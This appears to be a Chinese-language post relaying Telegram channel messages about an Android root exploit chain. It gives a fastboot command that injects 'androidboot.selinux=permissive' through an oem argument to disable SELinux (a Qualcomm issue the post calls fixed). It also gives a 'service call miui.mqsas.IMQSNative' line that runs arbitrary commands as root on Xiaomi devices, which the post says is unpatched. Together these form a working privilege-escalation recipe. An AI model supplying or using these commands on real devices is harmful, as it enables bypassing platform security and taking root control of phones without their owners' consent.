Skip to main content

需要注意的是这个链路最重要的利用点高通已经修了，水管一爆之前的很多事情都对得上了，点到为止

  1. 橘橘橘子汁 & 🍊
    又出了个 selinux 的洞，绷不住了 这下可以一键解锁了 fastboot oem set-gpu-preemption-value 0 androidboot.selinux=permissive Kingroot 复苏了
    需要注意的是这个链路最重要的利用点高通已经修了，水管一爆之前的很多事情都对得上了，点到为止
    https://t.me/vvb2060_Channel/17
    https://t.me/vvb2060_Channel/18
    Telegram
    南宫雪珊
    fastboot oem set-gpu-preemption 0 androidboot.selinux=permissive

    service call miui.mqsas.IMQSNative 21 i32 1 s16 "命令" i32 1 s16 "参数列表" s16 '输出路径' i32 600

    第一个漏洞可以关闭SELinux强制执行，高通限定，已修复；第二个漏洞以root身份执行任意命令，小米限定，未修复。组合后是完整root权限。